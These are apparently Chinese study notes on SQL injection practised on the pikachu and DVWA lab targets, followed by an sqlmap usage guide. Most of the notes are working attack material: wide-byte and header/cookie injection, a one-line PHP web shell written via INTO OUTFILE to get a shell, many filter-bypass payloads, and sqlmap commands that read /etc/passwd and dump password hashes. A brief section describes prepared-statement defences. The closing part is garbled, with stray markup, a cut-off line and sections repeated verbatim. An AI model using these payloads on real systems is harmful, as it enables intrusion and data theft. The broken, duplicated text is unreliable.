#%27是单引号,后端会加个\,URL编码为%5c,最终可拼出2字使单引号逃逸 name=kobe%E9%81%8B%5c%27+or+1%3D1%23%27 %E9%81 閬 %8B%5c 竆
未解问题:burp 抓包执行下面语句通过
kobe%df%5C%27+or+1+%3D+1%23
http header 和 cookie注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证), 或者通过http header头信息获取客户端的一些资料,比如useragent、accept字段等,会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。
进入pikachu的 http header 来进行一下测试:
登录一次后,我们可以抓包看,修改对应的header user angent 和 cookie
通过登录进去的信息我们可以猜测,这个后端是不是对http header里面的数据进行了获取,应该也进行了相关数据库的操作。我们来看一下刚才的抓包,将它发送到repeater里面,将User-Agent删掉,自己构造一个,还是按照之前的思路,先输入一个单引号:
发现报出了错误,接下来的步骤就很简单了,跟前面的报错注入是一样的。
' or updatexml(1,concat (0x7e,database()),0) or '
上面就是固定的测试语法:
'or xx or' 'and xx and' 'and xx or'
cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了。
# 在cookie中 amdin' 来确认是否有sql注入 Cookie: ant[uname]=admin'; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=5hmt2o85fg2kqaajflpblim6l2
从MySql注入到GetShell
Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到mysql select into outfile命令:
在mysql数据库中存在mysql select into outfile命令,该命令的作用是将被选择的一行代码写入一个文件中,文件被创建到服务器上。
其中,into outfile的使用前提是:
- 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等一些方式知道
- 对目录要有写权限,一般image之类的存放图片的目录有写权限
- 要有mysql file权限(即能否对系统的文件读取和写操作),默认情况下只有root权限有
还要注意:写的文件名一定是在网站中不存在的,不然会失败。
我们使用into outfile 写入一句话木马,文件名为shell2.php:
' union select 1,"<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php
在 DVWA Low 等级的 SQL Injection中输入
可以打开浏览插件hackbar,访问 http://124.222.171.19:8081/shell2.php POST方法传递数据 a=system(pwd); 或者a=phpinfo();
可以成功访问,查看目录,果然有了shell2.php文件,用蚁剑链接成功getshell
SQL注入绕过
大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术:
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理。
替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过:
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT
使用编码
URL编码
在Chrome中输入一个链接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29,普通的URL编码可能无法实现绕过,需要结合实际场景来判断。
还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:
1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT
十六进制编码
mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));
范例:十六进制编码绕过
mysql> select hex('admin'); +--------------+ | hex('admin') | +--------------+ | 61646D696E | +--------------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where first_name = 0x61646D696E ; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0.00 sec)
Unicode编码
形式:“u”或者是“%u”加上4位16进制Unicode码值。
假如对select关键字进行了过滤 可以对其中几个字母进行unicode编码:se%u006cect
看一下常用的几个符号的一些Unicode编码:
使用注释
看一下常见的用于注释的符号有哪些:
-- , /**/, #-- -
普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#
/**/在构造的查询语句中插入注释,规避对空格的依赖或关键字识别;#、– 用于终结语句的查询。
其中 %a0 是扩展的 ASCII 码(字符码 128-255):
范例:普通注释
mysql> select first_name,last_name from users where user_id= '1' or1=1;# ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'or1=1' at line 1 mysql> select first_name,last_name from users where user_id= '1' or--1=1;# +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0.00 sec) mysql> select first_name,last_name from users where user_id= '1' or/**/1=1;# +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+
内联注释
mysql官方文档:https://dev.mysql.com/doc/refman/8.1/en/comments.html
相比普通注释,内联注释用得更多,它有一个特性`/* ! */`只有MySQL能识别
它是注释,但不具备注释的语义。
举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 mysql> select user_id from users where user_id=1 /*!union*/ /*!all*/ /*!select*/ 2; mysql> select user_id from users where user_id=1 /*!union*/ /*!all*/ /*!select*/ 1; mysql> select user_id from users where user_id=1 /*!union*/ /*all*/ /*!select*/ 1;
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
范例:内联注释:不是注释的注释
mysql> /*select*/ 1; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 1 mysql> /*!select*/ 1; +---+ | 1 | +---+ | 1 | +---+
等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用。
函数或变量
bin() # 二进制 hex() # 16进制 hex()、bin() ==> ascii() sleep() ==> benchmark() BENCHMARK(count,expr) BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。 concat_ws()==>group_concat() concat_ws('分隔符', '字段1', '字段2'...) 多个列的字段合并 group_concat('字段1', '字段2'...) 同一列的字段合并 mid()、substr() ==> substring() mid() 函数用于得到一个字符串的一部分。 SELECT MID(ColumnName, Start, Length) 例1:mysql> select mid(first_name, 1,1) from users; 例2:substring()和substr()无法使用时: 1 and ascii(lower(mid((select last_name from users limit 1,1),1,1)))=98; 或者:substr((select 'password'),1,1) = 0x70 strcmp(str1, str2)比较两个字符串,如果这两个字符串相等返回0;如何第二个字符小于第一个字符就返回1,反之返回-1。 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 #left('pw',1) 返回p,从左边取一个字符
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现。
范例:等价函数
# hex()、bin() ==> ascii() mysql> select hex('~'); +----------+ | hex('~') | +----------+ | 7E | +----------+ 1 row in set (0.00 sec) mysql> select ascii('~'); +------------+ | ascii('~') | +------------+ | 126 | +------------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' and updatexml(1, concat(0x7e,database()),0);# ERROR 1105 (HY000): XPATH syntax error: '~dvwa' # sleep() ==> benchmark() mysql> select first_name,last_name from users where user_id='1' and if(length(database())=4,sleep(2),1);# Empty set (2.00 sec) mysql> select first_name,last_name from users where user_id='1' and if(length(database())=4,benchmark(10000000,md5('aaa')),1);# Empty set (1.97 sec) # concat_ws()==>group_concat() mysql> select first_name,last_name from users where user_id='1' union select 1,group_concat('~',first_name,last_name) from users;# +------------+----------------------------------------------------------+ | first_name | last_name | +------------+----------------------------------------------------------+ | admin | admin | | 1 | ~adminadmin,~GordonBrown,~HackMe,~PabloPicasso,~BobSmith | +------------+----------------------------------------------------------+ 2 rows in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' union select 1,concat_ws('~',first_name,last_name) from users;# +------------+---------------+ | first_name | last_name | +------------+---------------+ | admin | admin | | 1 | admin~admin | | 1 | Gordon~Brown | | 1 | Hack~Me | | 1 | Pablo~Picasso | | 1 | Bob~Smith | +------------+---------------+ 6 rows in set (0.00 sec) # mid()、substr() ==> substring() mysql> select mid('dvwa',1,1); +-----------------+ | mid('dvwa',1,1) | +-----------------+ | d | +-----------------+ 1 row in set (0.00 sec) mysql> select substring('dvwa',3,1); +-----------------------+ | substring('dvwa',3,1) | +-----------------------+ | w | +-----------------------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' and ascii(substr(database(),1,1))=100;# +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' and ascii(mid(database(),1,1))=100;# +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' and ascii(substring(database(),0,1))=100;# Empty set (0.01 sec) mysql> select first_name,last_name from users where user_id='1' and ascii(substring(database(),1,1))=100;# +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0.00 sec) # strcmp(str1, str2)比较两个字符串,如果这两个字符串相等返回0;如何第二个字符小于第一个字符就返回1,反之返回-1。 mysql> select left(database(),1); +--------------------+ | left(database(),1) | +--------------------+ | d | +--------------------+ 1 row in set (0.00 sec) mysql> select hex('d'); +----------+ | hex('d') | +----------+ | 64 | +----------+ 1 row in set (0.00 sec) mysql> select strcmp('d','d'); +-----------------+ | strcmp('d','d') | +-----------------+ | 0 | +-----------------+ 1 row in set (0.00 sec) mysql> select strcmp('d','a'); +-----------------+ | strcmp('d','a') | +-----------------+ | 1 | +-----------------+ 1 row in set (0.00 sec) mysql> select first_name,last_name from users where user_id='1' and strcmp(left(database(),1),0x64);# Empty set (0.00 sec)
符号
and和or有可能不能使用,或者可以试下&&和||能不能用; =不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那就是等于了; 空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/。
范例:注入中类空格ascii码
Oct Dec Hex Char 011 9 09 HT '\t' (horizontal tab水平制表符) 012 10 0A LF '\n' (new line换行键) 013 11 0B VT '\v' (vertical tab垂直制表符) 014 12 0C FF '\f' (form feed换页键) 015 13 0D CR '\r' (carriage ret回车键) 040 32 20 SPACE (空格) 160 0240 A0 Non-breaking space
特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多。
1.使用反引号`,例如select first_name from`users`; 可以用来过空格和正则,特殊情况下还可以将其做注释符用 2.神奇的"-+.",select+user_id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤 3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量 4.Mysql function() as xxx 也可不用as和空格 select-count(user_id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
部分可能发挥大作用的字符:
`、~、!、@、%、()、[]、.、-、+ 、|、%00
最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
SQL注入防御
采用sql语句预编译和绑定变量,是防御sql注入的最佳方法
String sql = "select id, num from user where id=?"; //定义SQL语句 PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); //设置变量 ps.executeQuery(); //执行
如上所示,就是典型的采用sql语句预编译和绑定变量 。为什么这样就可以防止sql 注入呢?
其原因就是:采用了PreparedStatement,就会将sql语句:"select id, num from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成,语义已经确定了。而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行,必须先得通过语法分析,生成执行计划。既然语法分析已经完成,已经预编译过了,那么后面输入的内容只会被当做字符串字面值参数来执行,是绝对不可能作为sql命令来执行的。所以sql语句预编译可以防御sql注入。
严格检查参数的数据类型,还可以使用一些安全函数
并非所有场景都能够采用sql语句预编译,有一些场景必须的采用字符串拼接的方式,此时,我们严格检查参数的数据类型,还有可以使用一些安全函数,来防止sql注入。
比如 String sql = "select id,no from user where id=" + id;
在接收到用户输入的参数时,我们就严格检查 id,只能是int型。复杂情况可以使用正则表达式来判断,这样也是可以防止sql注入的。
安全函数的使用,比如:
MySQLCodec codec = new MySQLCodec(Mode.STANDARD);
name = ESAPI.encoder().encodeForSQL(codec, name);
String sql = "select id,no from user where name=" + name;
ESAPI.encoder().encodeForSQL(codec, name)
该函数会将 name 中包含的一些特殊字符进行编码,这样 sql 引擎就不会将name中的字符串当成 sql命令来进行语法分析了。
注:实际项目中,一般我们都是采用各种的框架,比如ibatis, hibernate,mybatis等等。它们一般也默认就是sql预编译的。对于ibatis/mybatis,如果使用的是 #{name}形式的,那么就是sql预编译,使用${name} 形式的,就不是sql预编译的。
JAVA_ORM框架:ibatis, hibernate, mybatis
PYTHON_ORM框架:SQLAlchemy,Flask-SQLAlchemy
SQLmap使用
SQLmap简介
Sqlmap是一款开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。
它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
下载及安装
(1)Linux下git直接安装
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev python sqlmap.py --update # 更新 python sqlmap.py -hh # 查看帮助信息
(2)Windows下安装
windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。
1.将sqlmap压缩包解压到python安装目录下,复制好sqlmap目录路径
2.桌面新建快捷方式,对象位置输入cmd,快捷方式名称sqlmap,保存
3.右键sqlmap快捷方式点击属性,在"起始位置"修改为sqlmap安装目录路径,确定
4.双击打开sqlmap快捷方式,输入sqlmap.py验证
(3)Kali默认安装sqlmap
参数详解
Target:目标
-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者-
-url
-d DIRECT 直接连接数据库的连接字符串
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c CONFIGFILE 从配置ini文件中加载选项
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可
以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--forcessl参数来使用,或者可以在Host头后门加上:443
目标URL
参数:-u或者–url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f –banner –dbs –users
注意:-u 时url需要带参数sqlmap才能识别在哪里注入。
范例:第一次使用sqlmap,靶场dvwa
利用burpsuite抓包SQL Injection
124.222.171.19:8081/vulnerabilities/sqli/?id=1&Submit=Submit
python sqlmap.py -u "124.222.171.19:8081/vulnerabilities/sqli/?id=1&Submit=Submit" 跳转到登录页面,是否继续?是 got a 302 redirect to 'http://124.222.171.19:8081/login.php'. Do you want to follow? [Y/n] y y y [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
最后发现所有测试参数似乎都不可注入,这里我们需要登录的cookie
cooki 获取方法
# 方法1:浏览器控制台 document.cookie "PHPSESSID=5hmt2o85fg2kqaajflpblim6l2; security=low" # 方法2:F12 Network中查header头 Cookie: PHPSESSID=5hmt2o85fg2kqaajflpblim6l2; security=low # 方法3:burp suite 抓包
继续注入
> python sqlmap.py -u "124.222.171.19:8081/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "PHPSESSID=5hmt2o85fg2kqaajflpblim6l2; security=low" 发现大概念是mysql数据库,是否跳过其它库类型查询?是 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y 测试等级和风险等级 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y ... ... sqlmap identified the following injection point(s) with a total of 2333 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 8630=8630#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 4701 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(4701=4701,1))),0x7171767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tYpA&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 5274 FROM (SELECT(SLEEP(5)))wHBr)-- pyai&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7162767171,0x4961695a4d685a6c6e55764a5a554a566d597874625662654553686e7377794c767864766d6e7472,0x7171767671),NULL#&Submit=Submit --- [23:46:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12 上面是扫描结果,给出了注入点,和系统及服务版本
从Burp或者WebScarab代理中获取日志
参数:-l
可以直接吧Burp proxy或者WebScarab proxy中的日志直接导出来交给sqlmap来一个一个检测是否有注入。
从文本中获取多个目标扫描
参数:-m
文件中保存url格式如下,sqlmap会一个一个检测
www.xxx1.com/vuln1.php?q=student www.xxx2.com/vuln2.asp?id=1 www.xxx3.com/vuln3/id/1*
从文件中加载HTTP请求
参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:
POST/students.php HTTP/1.1
Host:www.xxx.com
User-Agent:Mozilla/4.0
id=1
python sqlmap.py -r 1.txt
当请求是HTTPS的时候,需要配合–force-ssl参数来使用,或者可以在Host头后面加上:443
Request:请求设置
--method:指定请求方法 --data:把数据以POST方式提交 --param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数 --cookie:设置cookie,提交请求的时候附带所设置的cookie --load-cookies:从文件获取cookie --user-agent:可以使用–user-anget参数来修改 --headers:可以通过–headers参数来增加额外的http头 --proxy:设置代理,可以避免本机地址被封禁 --delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip --random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。 --referer:在请求目标的时候可以自己伪造请求包中的referer –-level参数设定为3或者3以上的时候会尝试对referer注入。
参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST参数。
例子:
python sqlmap.py -u "http://www.xxx.com/students.php" --data="id=1" -f --banner --dbs --users
利用正则过滤目标网址
参数:–scope
例如:加载burp suite的历史日志,匹配指定的域名来注入
python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)"
避免过多的错误请求被屏蔽
参数:–safe-url,–safe-freq
有的web应用程序会在你多次发送访问错误的请求时屏蔽掉你之后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致后续无法进行测试。
绕过这个策略有两种方式:
--safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下。 --safe-freq:提供一个安全不错误的链接,每次测试请求之后都会再访问一遍安全链接。
Optimization:优化
-o 开启所有优化开关。工作中几乎用不到
Injection:注入
#+begi
的SQL注入测试。
-p:设置想要测试的参数
–skip:不想要测试的参数可以通过 skip设置跳过
–dbms:指定数据库 节省sqlmap自己检测的时间
–os:指定数据库服务系统 节省sqlmap自己检测的时间
–tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
_src sh
#+end_src
测试参数
参数:-p, –skip
sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。
例如: -p "id,user-anget"
当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。
例如:–skip="user-agent,referer"
在有些时候web服务器使用了伪静态,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
例如
python sqlmap.py -u "http://xxx/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入。
指定数据库服务器系统
参数:–os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。
Detection:探测等级
--level=LEVEL 执行测试的等级(1-5,默认为1) --risk:(*慎用此参数有风险), 共有四个风险等级(0-3),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
探测等级
参数:–level
共有五个等级,默认为1,最大为5,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,GET和POST的数据都会测试:
- HTTP Cookie 在level为2的时候就会测试,
- HTTP User-Agent/Referer头 在level为3的时候就会测试。
- HTTP Host 在 level 5时测试
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
风险等级
参数:–risk
共有四个风险等级:
- 1默认,会测试大部分的测试语句
- 2会增加基于事件的测试语句
- 3会增加OR语句的SQL注入测试。注意在生产环境不推荐用,可能会删除数据或增加脏数据
在有些时候,例如在UPDATE/DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。
Enumeration:枚举数据
-a, --all 获取所有信息 -b, --banner 获取数据库管理系统的标识 --current-user 获取数据库管理系统当前用户 --current-db 获取数据库管理系统当前数据库 --hostname 获取数据库服务器的主机名称 --is-dba 检测DBMS当前用户是否DBA(数据库管理员) --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的DBMS数据库中的表 --columns 枚举DBMS数据库表列 --schema 枚举数据库架构 --count 检索表的项目数 --dump 转储数据库表项,即下载 --dump-all 转储数据库所有表项 --search 搜索列(S),表(S)和/或数据库名称(S) --comments 获取DBMS注释 -D DB 要进行枚举的指定数据库名 -T TBL DBMS数据库表枚举 -C COL DBMS数据库表列枚举 -X EXCLUDECOL DBMS数据库表不进行枚举 -U USER 用来进行枚举的数据库用户 --exclude-sysdbs 枚举表时排除系统数据库 --pivot-column=P.. Pivot columnname --where=DUMPWHERE Use WHEREcondition while table dumping --start=LIMITSTART 获取第一个查询输出数据位置 --stop=LIMITSTOP 获取最后查询的输出数据 --first=FIRSTCHAR 第一个查询输出字的字符获取 --last=LASTCHAR 最后查询的输出字字符获取 --sql-query=QUERY 要执行的SQL语句 --sql-shell 提示交互式SQL的shell --sql-file=SQLFILE 要执行的SQL文件返
标志
参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version,这主要取决于是什么数据库。
当前用户
参数:–current-user
在大多数据库中可以获取到管理数据的用户。
当前数据库
参数:–current-db
还当前连接的数据库。
当前用户是否为管理员
参数:–is-dba
判断当前的用户是否为管理员,是的话会返回True。
列出数据库管理用户
参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
列出并破解数据库用户的hash
参数:–passwords
当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
python sqlmap.py -u "http://xxx/sqlmap/pgsql/students.php?id=1" --passwords -v1
列出数据库管理员权限
参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
列出数据库管理员角色
参数:–roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。
列出数据库系统的数据库
参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
列举数据库表
参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来指定一个数据库的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指可排除系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
Brute force:爆破
--common-tables 检查存在共同表 --common-columns 检查存在共同列 User-defined function injection(用户自定义函数注入): --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径
File system access:访问文件系统
--file-read=RFILE 从后端的数据库管理系统读取文件 --file-write=WFILE 上传文件到后端的数据库管理系统 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id --file-read "/etc/passwd"
把文件上传到数据库服务器中
参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
#+begin_src sh
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id
#将本地默认,会测试大部分的测试语句
- 2会增加基于事件的测试语句
- 3会增加OR语句的SQL注入测试。注意在生产环境不推荐用,可能会删除数据或增加脏数据
在有些时候,例如在UPDATE/DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。
Enumeration:枚举数据
-a, --all 获取所有信息 -b, --banner 获取数据库管理系统的标识 --current-user 获取数据库管理系统当前用户 --current-db 获取数据库管理系统当前数据库 --hostname 获取数据库服务器的主机名称 --is-dba 检测DBMS当前用户是否DBA(数据库管理员) --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的DBMS数据库中的表 --columns 枚举DBMS数据库表列 --schema 枚举数据库架构 --count 检索表的项目数 --dump 转储数据库表项,即下载 --dump-all 转储数据库所有表项 --search 搜索列(S),表(S)和/或数据库名称(S) --comments 获取DBMS注释 -D DB 要进行枚举的指定数据库名 -T TBL DBMS数据库表枚举 -C COL DBMS数据库表列枚举 -X EXCLUDECOL DBMS数据库表不进行枚举 -U USER 用来进行枚举的数据库用户 --exclude-sysdbs 枚举表时排除系统数据库 --pivot-column=P.. Pivot columnname --where=DUMPWHERE Use WHEREcondition while table dumping --start=LIMITSTART 获取第一个查询输出数据位置 --stop=LIMITSTOP 获取最后查询的输出数据 --first=FIRSTCHAR 第一个查询输出字的字符获取 --last=LASTCHAR 最后查询的输出字字符获取 --sql-query=QUERY 要执行的SQL语句 --sql-shell 提示交互式SQL的shell --sql-file=SQLFILE 要执行的SQL文件返
标志
参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version,这主要取决于是什么数据库。
当前用户
参数:–current-user
在大多数据库中可以获取到管理数据的用户。
当前数据库
参数:–current-db
还当前连接的数据库。
当前用户是否为管理员
参数:–is-dba
判断当前的用户是否为管理员,是的话会返回True。
列出数据库管理用户
参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
列出并破解数据库用户的hash
参数:–passwords
当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
